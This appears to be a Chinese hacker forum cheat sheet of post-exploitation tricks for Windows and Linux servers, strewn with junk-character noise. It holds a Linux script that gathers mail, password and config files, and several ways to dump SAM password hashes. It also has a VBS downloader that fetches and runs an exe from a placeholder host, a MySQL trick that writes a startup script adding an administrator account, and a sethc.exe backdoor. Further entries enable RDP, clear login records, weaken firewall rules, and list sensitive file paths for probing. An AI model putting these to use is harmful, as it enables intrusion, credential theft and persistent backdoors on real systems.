/ z1 b* A1 }7 z( P6 L8 C; ^( Y1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
: t+ m' `7 l9 C6 {) G0 v* x. galzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
) ?# j/ ?- c$ P7 p+ I" K{
注：
  n9 t8 D$ u2 C/ K6 v6 Y关于tar的打包方式,linux不以扩展名来决定文件类型。
/ m* D) F' ?" J( W4 P2 k+ j若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
# j; A5 X" Z# c- T' _8 j% X9 Y那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  
1 o% s) f( A7 C8 i0 n/ z
提权先执行systeminfo
' h2 O) @6 m4 Z9 u& w9 \* Ktoken 漏洞补丁号 KB956572
Churrasco          kb952004
. ^. K; t3 h, V6 z! i0 {( G命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
, O* e8 G5 o6 n$ m4 N& x——————————————
: E  w* Q' R# g3 p1 G6 R$ R2、收集系统信息的脚本  
for window：

" \  |3 d2 |7 |" Z6 b7 N@echo off
2 f+ j5 V! f# y% d* T  hecho #########system info collection
systeminfo
ver
hostname
net user
7 o& l3 f/ h* b8 e- t  @net localgroup
* Q+ F8 v8 \: Y; vnet localgroup administrators
net user guest
* D' y+ ]8 ~8 A* E$ V! Z: @2 nnet user administrator
1 K9 f4 F  n. a
. K9 j8 P' d  f' U" Decho #######at- with   atq#####
/ n. @& t7 K) R' l* M! M" \1 cecho schtask /query
# b0 K6 w. M9 i2 ]
echo
: k/ y3 Q. k% Q% O; becho ####task-list#############
3 |8 ?/ n, s9 stasklist /svc
& v% H+ z/ G. I$ {( A7 Becho
echo ####net-work infomation
2 S" w" R* ?! C. gipconfig/all
/ h8 Q" ~* G3 D( V. Jroute print
arp -a
netstat -anipconfig /displaydns
  A+ T; F7 E% x% secho
* n0 k  c7 f- J/ Necho #######service############
sc query type= service state= all
7 I3 U: w+ P5 d3 b2 K+ ~. fecho #######file-##############
' J/ S5 H) {* acd \
# Y: p: A$ A4 I9 Htree -F
1 C3 m  J3 x5 jfor linux：
* O; T' s: J+ v
; _- Z2 e! h5 |0 N#!/bin/bash
- V8 Q% b, z3 ~% c, |
) `* z* Z0 P  P" u* A. fecho #######geting sysinfo####
! v* U4 q. {7 Mecho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
* U. I1 R  o5 v' Cecho #######basic infomation##
cat /proc/meminfo
echo
cat /proc/cpuinfo
echo
rpm -qa 2>/dev/null
0 p7 V( ?0 F! d######stole the mail......######
# I" ~3 ?; K# O' t! Hcp -a /var/mail /tmp/getmail 2>/dev/null


echo 'u'r id is' `id`
echo ###atq&crontab#####
" R9 B; E+ I; R) ?' _atq
6 d) D  L1 h6 C$ bcrontab -l
- B- x+ s7 h/ d% t, E: f5 E' [echo #####about var#####
" D3 p& F4 a) e3 @# [set

% K* V* b: l' b5 `( Q) fecho #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
/ m1 n3 C! X: Q! w! Ycat /etc/hosts
hostname
ipconfig -a
' c0 U# S8 y9 d8 Xarp -v
echo ########user####
cat /etc/passwd|grep -i sh

echo ######service####
chkconfig --list
( c1 R& I4 _1 {" {' @
for i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
* k  M; |5 G. M& D1 X2 U7 cdone
3 s$ |2 M( Y0 y1 [( O
2 z8 Z4 I" k; U: A& Q; j( Q# xlocate passwd >/tmp/password 2>/dev/null
sleep 5
7 l( w9 G, ]9 m) h: `locate password >>/tmp/password 2>/dev/null
( k6 c, t8 E# Nsleep 5
locate conf >/tmp/sysconfig 2>dev/null
sleep 5
/ v- z( g: B6 o1 l2 b6 G% D4 ]) x: ylocate config >>/tmp/sysconfig 2>/dev/null
' g) n% n- C% Vsleep 5

###maybe can use "tree /"###
( x- {( n& O7 s, ~" decho ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
. ~) a+ x7 Q  jrm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
' @% o: m* w: L+ Y' D               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
8 u# X/ ~; E0 R3 Z7 t8 p1 o5 J& h( F接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
. f) M! e2 y$ \( Y; C: C据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
9 c. w3 T" W' T; M——————————————
4、vbs 下载者
$ u4 \2 L5 j2 _0 {1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
& R. Y5 ~# H) recho sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
- q2 t/ \" O& c4 J. h4 \( techo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
* `+ R; \, M/ Hecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
  s2 X) h7 k6 a2 F% p* [cftmon.vbs

2
, i* l3 T; ?7 yOn Error Resume Nextim iRemote,iLocal,s1,s2
( U1 w! a# T9 w+ u" ZiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
+ i' V- q" n+ \' G* Z+ ZSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
8 P" B, Z! E" s3 d+ F
cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
5 D, J7 E. H1 p6 x/ l
当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
* |0 b+ e9 u0 ~. n" ?& K+ h3 w——————————————————
" @, m1 S  f9 p2 w4 h$ X& X5、
1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
( x  E8 v7 Q  O3.更改终端端口为2008(0x7d8)
: S( A9 l# F7 t+ X1 oREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
! a3 l! |' ?0 _2 W) Y* T4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
& c" w. X2 h! {! L; B9 L7 G6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
, }5 F& ?$ @/ L( H5 t, M7 X( \insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
" F- a& g1 {2 A7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
4 X8 z" W4 [! L: N_____
8、for /d %i in (d:\freehost\*) do @echo %i

$ \* ?3 N" @* k1 H列出d的所有目录
  
$ l( b% W3 S, [( u0 P  for /d %i in (???) do @echo %i
. x4 l  c( T# u1 E" u7 x
把当前路径下文件夹的名字只有1-3个字母的打出来

0 k2 O) @" i! l; n% |# B; [- i2.for /r %i in (*.exe) do @echo %i
) u$ u, h( X: x( `* F  
) k/ O5 a( B+ X+ j! \; T) y以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

, h6 G8 j+ [0 J7 L7 b& r7 tfor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

% t4 o0 T9 j$ z8 L3.for /f %i in (c:\1.txt) do echo %i
  
; ^  Z/ e8 o; q5 v9 V8 m7 f- C) @  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
5 P3 c% t+ ^* }- A  X9 ~: V
4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

6 M( |, ?: G* Z) F7 ]* l  delims=后的空格是分隔符 tokens是取第几个位置
——————————
! ^- u' f9 H+ L9 s# G2 v●注册表:
# h5 ^+ {& x# B5 z1.Administrator注册表备份:
  g+ a  S7 a$ ~reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

1 j# P9 p' B' ^% W! Z2.修改3389的默认端口:
, U# G3 h, F) c/ k7 |HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.
* X/ ^. O# t) w: j0 N
3.清除3389登录记录:
7 f) t/ c" X6 {9 vreg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
% q; k0 A0 h0 h: C8 e
; D! }! k, m! D) V: q) f$ D8 f- j1 J4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg

5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

6.IPSec默认免除项88端口(需重启):
, Q" e- B% b% a% ^( `- w5 t  lreg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
netsh ipsec dynamic set config ipsecexempt value=0

' e# s6 e/ j7 R+ N3 y1 h7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n

8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
% G7 ?0 E6 r+ _
- k) f- T0 o. A  u$ r! t9.另类方法抓系统密码HASH
; J, A6 |, u, E- [4 f& mreg save hklm\sam c:\sam.hive
$ x7 ]7 _0 d/ B4 o1 e8 A# Nreg save hklm\system c:\system.hive
4 R3 v/ g: I5 |% C3 breg save hklm\security c:\security.hive
: j' M' ~, `0 ~3 {
2 a) ?) A- M8 H. [( b. k0 A0 j10.shift映像劫持
5 ]& S8 R' X! ?* t+ ^/ I$ @reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
1 r: }& n$ H0 u& q
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
8 A+ [6 v4 F9 ^$ T. e-----------------------------------
星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
2 x# F7 b, d7 G- i- g- M. Kif IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
* i' ?$ Q. J0 k! bif err.number<>0 then
! F" x! H! \: D" u) Yexit for
msgbox("error!")
wscript.quit
% C5 G" U1 }( J' E9 O  G- p/ Lend if
- e2 @2 H1 Z2 I" }& q: A1 nserverbindings=IIS.serverBindings
ServerComment=iis.servercomment
! k& a2 d" z) G% ~# gset IISweb=iis.getobject("IIsWebVirtualDir","Root")
- d6 P& `( ^) s1 T' Fuser=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
path=IIsWeb.path
- {7 O- d: f  D/ p$ V0 z5 B* y) h- |list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
Next
wscript.echo list
Set ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
复制代码
( R7 h; s& c& F----------------------2011新气象，欢迎各位补充、指正、优化。----------------
: m! x/ r  r& R8 A: U1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
* {* Z. t0 U, y+ O2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
9 x( Q/ A0 I' Z7 z8 `% y将folder.htt文件，加入以下代码：
2 ~1 [' T/ I% D) L/ t<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
0 c# R& l/ `2 [  i" d# @复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
* [, Z0 m/ [6 N  k8 `8 ] 原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
* e' s0 t# b/ L url=request.severvariables("path_info")
* F, x" c3 w( l# e! [ path_info可以直接呈现虚拟路径 顺利解析gif大马
: ]* J. i1 g8 \) F- O& N" Q  Y$ a
0 h$ q  c. `- X: V" _' I% S==============================================================
LINUX常见路径：

/etc/passwd
/etc/shadow
/etc/fstab
/etc/host.conf
/etc/motd
/etc/ld.so.conf
/var/www/htdocs/index.php
/var/www/conf/httpd.conf
) |: b2 f3 B$ q6 U7 A& A- d2 B3 B/var/www/htdocs/index.html
7 A7 S4 Q: E4 u+ r' q' }/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
$ q3 g# I+ @; s( w/var/httpd/conf/httpd.conf
0 c  ]# \9 A- H( t# e& i& C/var/httpd/htdocs/index.html
5 F0 Q5 Z+ K+ p+ T* E( c* {2 s/ U/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
& r' f3 j/ [! w4 u/ c/usr/local/apache/htdocs/index.php
, v0 h# X# ]$ _/usr/local/apache2/htdocs/index.html
+ t. d! {- u" o; y# \+ P/ ~% ]: `/usr/local/apache2/htdocs/index.php
8 I* [5 t# e0 ]$ ~7 c/usr/local/httpd2.2/htdocs/index.php
. l7 L6 E0 B# [9 m- H& C7 ~% }/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
  L* Y0 i) g2 L& [" Y+ d! H- u/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
; h1 ~. @( Z/ z$ S0 h% h! x- z/etc/httpd/htdocs/index.html
5 o% ?/ O- @, f6 S/www/php/php.ini
/www/php4/php.ini
8 h, F6 }8 p! U; v4 K4 O/www/php5/php.ini
+ g8 R% s0 l  S9 w) V$ f/www/conf/httpd.conf
/ Z. w  V/ G4 c& c7 ?0 I+ W/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
: M2 {7 c4 ?5 E6 M+ R: S/etc/apache/apache.conf
/etc/apache2/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
# O+ D5 y; {* I1 r# Z) ^" n* j+ y/etc/apache2/sites-available/default
6 X7 ~2 _* z5 c/etc/phpmyadmin/config.inc.php
8 e* x3 ?$ n# M: {7 c; S+ O. ~8 ~/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
; J4 N, G+ {! {* r2 S/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
  L# h* x! ?& s+ C3 }+ _/home/apache2/conf/httpd.conf
1 f) n( m8 ^7 }* e  H$ X/var/log/apache/error_log
* _. t; _" Y+ W2 \# E/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
, N6 c* @# u. R& ^' {4 W/var/log/apache2/access_log
# V# y* [" s- M1 G/ e* U/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
5 f) J% d4 I, O5 ]) W/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
" j6 K" V. Y; j# w8 k4 B0 a- \/usr/local/apache/logs/access.log
: `0 a  I: }1 d  @$ e3 [/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
% B7 w: O7 u0 H) _: R/usr/local/apache/logs/access_logaccess_log.old
+ ]: c  p8 q% p. p8 j5 J! X9 e# J/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
/bin/php.ini
( N6 G8 `3 B9 `) `# ^$ K0 [/etc/init.d/httpd
/etc/init.d/mysql
' t) Q7 A  @+ G$ y6 u. r& ?7 F& K/etc/httpd/php.ini
5 r7 w3 `, Y: a1 O  @/usr/lib/php.ini
/ l, y5 J+ {0 w/usr/lib/php/php.ini
/usr/local/etc/php.ini
5 \  _% h% S1 _1 Q/usr/local/lib/php.ini
! i$ f( p  B3 t  y' Y5 T/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
$ p$ w+ g0 p, I) e" ^* ~2 L/usr/local/php5/lib/php.ini
: z& @8 Y1 a1 @/usr/local/php5/etc/php.ini
, ]% J' j6 e' f. G1 J+ j/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
. X; E% l0 J0 @/usr/local/apache2/conf/httpd.conf
& Z; Q  q4 h" f( j/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
7 _" D: ^/ h$ \' Q9 n3 O8 t/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
6 k! t0 F* k6 V" ^/etc/php/php.ini
/etc/php/php4/php.ini
/ x) s3 i. C- O4 H: t/etc/php/apache/php.ini
/etc/php/apache2/php.ini
& c7 X' J; T" \3 \% I/web/conf/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
0 _& {# F+ [6 R6 l! {7 O/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
; b, }- X4 n! m8 `' ~5 ~" S5 ~/etc/php/cgi/php.ini
' \$ }4 C+ ?7 S6 n3 _/etc/php4/cgi/php.ini
" s+ e  Z, |# i, k/etc/php5/cgi/php.ini
/php5/php.ini
: F1 {$ U3 o8 ?* s" [/php4/php.ini
/php/php.ini
. n  T" s9 C) k0 w+ d7 J' o/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
, N: O. V% u, S' X/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
3 L& [6 u* y' e3 m! L/var/log/mysql/mysql-bin.log
$ D3 |" E. B  ^) {8 p/var/log/mysql.log
7 |* s6 _4 G. n5 U1 u4 n: h% s/var/log/mysqlderror.log
  M6 E$ {( |! [! Z/var/log/mysql/mysql.log
- G6 y# @" s$ {, O0 ?7 |% Q4 _/var/log/mysql/mysql-slow.log
1 y3 K5 l( b( R: C8 u  ^/var/mysql.log
9 E& T, [3 c3 }5 K* O4 f1 d( \5 C/var/lib/mysql/my.cnf
1 W% }. v5 t- x6 ?/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
0 M% b7 x' g, i2 H( d/etc/mysql/my.cnf
- N9 Y1 u6 r* {4 X* I9 l1 h/etc/my.cnf
/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
9 T- a: ?7 J7 ^. J. Z2 T9 P- m9 o/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
2 l0 |; |3 V0 |2 g9 q! E2 }3 U/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
, o$ _- Q6 i. a/usr/local/share/examples/php4/php.ini
3 c  K- Q$ M; p3 V7 h. m/usr/local/share/examples/php/php.ini
) U' r5 q0 g" V6 s: W( ?, h
2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

c:\windows\php.ini
% L& t  g0 u  P  I* _c:\boot.ini
2 i2 d4 G. p8 t" W- mc:\1.txt
c:\a.txt
8 y; p+ W! e9 U3 I* I
c:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
3 f4 |" a& _4 d$ y% {* Mc:\program files\CMailServer\CMailServer.exe
8 \8 O3 j+ N/ o( L: Sc:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
* `/ N+ _' a1 q; a+ Y* d2 T* ]C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe
: ?" Z; ?: e1 w1 R! J, c! X4 A, r8 _
c:\hzhost\databases\url.asp
+ p7 r4 r* |" L. Q
0 D' |6 d8 o, Ac:\hzhost\hzclient.exe
2 n* A& f8 a4 M6 N( JC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

( Q8 Q, Z. I2 P  U6 WC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
; g+ \$ B3 q6 a( GC:\WINDOWS\web.config
1 A/ T% }2 R" b" H7 T; b3 Qc:\web\index.html
7 i# ?7 U+ d# V, j" K7 Nc:\www\index.html
c:\WWWROOT\index.html
" w, J' Q9 j8 B0 G/ g$ ec:\website\index.html
c:\web\index.asp
, I/ ^$ r% r3 Z. E9 G: E) q; Ac:\www\index.asp
c:\wwwsite\index.asp
/ d2 ~+ |5 v, N8 Bc:\WWWROOT\index.asp
  _+ V& u& F0 Y, Nc:\web\index.php
) M( P4 T* P; v: s6 G- K, Zc:\www\index.php
c:\WWWROOT\index.php
& c# q4 X7 H2 G" A+ Vc:\WWWsite\index.php
c:\web\default.html
c:\www\default.html
c:\WWWROOT\default.html
9 v. S3 r6 h8 J& ]c:\website\default.html
c:\web\default.asp
c:\www\default.asp
1 a1 S8 F0 i* |$ h2 Mc:\wwwsite\default.asp
; z! ?3 ^9 _3 }% _* B! z. U5 Y% m* r! ec:\WWWROOT\default.asp
4 G7 A  R# Y1 j$ X1 Fc:\web\default.php
c:\www\default.php
c:\WWWROOT\default.php
c:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
5 a3 y1 t& l( Z3 ^8 ^6 uc:\windows\notepad.exe
c:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
  o5 A. X2 {. V0 f8 b( UC:\Program Files\Microsoft Office\OFFICE12\winword.exe
7 e/ J  }, ?2 m: U3 |  p+ FC:\Program Files\Internet Explorer\IEXPLORE.EXE
+ `. h# G- y; l( O& |. ]C:\Program Files\winrar\rar.exe
& w0 w/ }; o$ cC:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
! _4 T4 R# B) f9 n+ bc:\ravbin\store.ini
# m+ C+ B! L: v9 [9 i4 Ac:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
4 h9 r4 Z$ n8 i* FC:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
" |. Z/ {- n( R2 ]/ w3 pC:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
. k7 i) H! p. h- m8 g( QC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
6 v" |+ B: `5 x  t! Q4 c  [C:\Documents and Settings\Administrator\My Documents\a.txt
* L0 x5 K2 X8 X/ j9 i# yC:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
' W3 i+ I/ {: B: @% o3 k# q8 fC:\Program Files\Symantec\SYMEVENT.INF
7 @+ Q. A5 N4 QC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
" y, c  U  }2 T! y5 |+ ~C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
, W& [! o" w. z9 ?( r& pC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
8 P. T, p) n" p: a; qC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
" U8 V: T( Z/ j2 zC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
) ?* |6 U( T3 R( V8 ]' v+ i+ NC:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
* M5 A( G: l6 U1 M' u* O2 U+ aC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
* x8 d; x$ y* N; `! r  k- kc:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
' W/ s- H/ N7 R6 aC:\Program Files\Oracle\oraconfig\Lpk.dll
# i# ]4 ]- x# Y; p. fC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
* n2 c5 U" V/ M% _- Y% H, I$ NC:\WINDOWS\system32\inetsrv\inetinfo.exe
5 y' }. j5 v! a0 jC:\WINDOWS\system32\inetsrv\MetaBase.xml
5 Y3 @' H- c: LC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
! Q) \1 Y5 w" G! f" v  _: SC:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
: y. T  ~1 `1 aC:\WINDOWS\system32\config\system
: z; H' r! c/ ^! _* Bc:\CMailServer\config.ini
, D$ A/ \- Q: j( `( T. g, O. Uc:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
6 c4 s& l- L: g% J7 c: vc:\tomcat6\bin\version.sh
1 \1 N/ r: M7 D! nc:\tomcat\bin\version.sh
. `; F% e) Z% U8 T, t& vc:\program files\tomcat6\bin\version.sh
- p% |4 ?8 @) p- G) WC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
' X, V0 I+ B+ V" ~7 \, @c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
- u0 |' x- Z: P; z, d/ E4 vc:\Apache2\Apache2\bin\Apache.exe
3 ]& y$ g) I! Gc:\Apache2\bin\Apache.exe
3 U. _! k7 ?: G, \c:\Apache2\php\license.txt
6 h; W9 Y, p6 B' ZC:\Program Files\Apache Group\Apache2\bin\Apache.exe
. {* _2 p1 m0 ^1 V9 y2 _8 s7 ?/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
8 ]* h# k- D1 i4 bc:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
# g8 x; B4 q+ _! |% {  }c:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
7 q6 F% _6 x& M0 _* O: @0 mc:\Program Files\Tencent\qq2010\bin\qq.exe
$ E* `) ]8 C  i$ Fc:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
( D6 K) c5 M  o4 _, z/ Oc:\Program Files\Tencent\RTXServer\AppConfig.xml
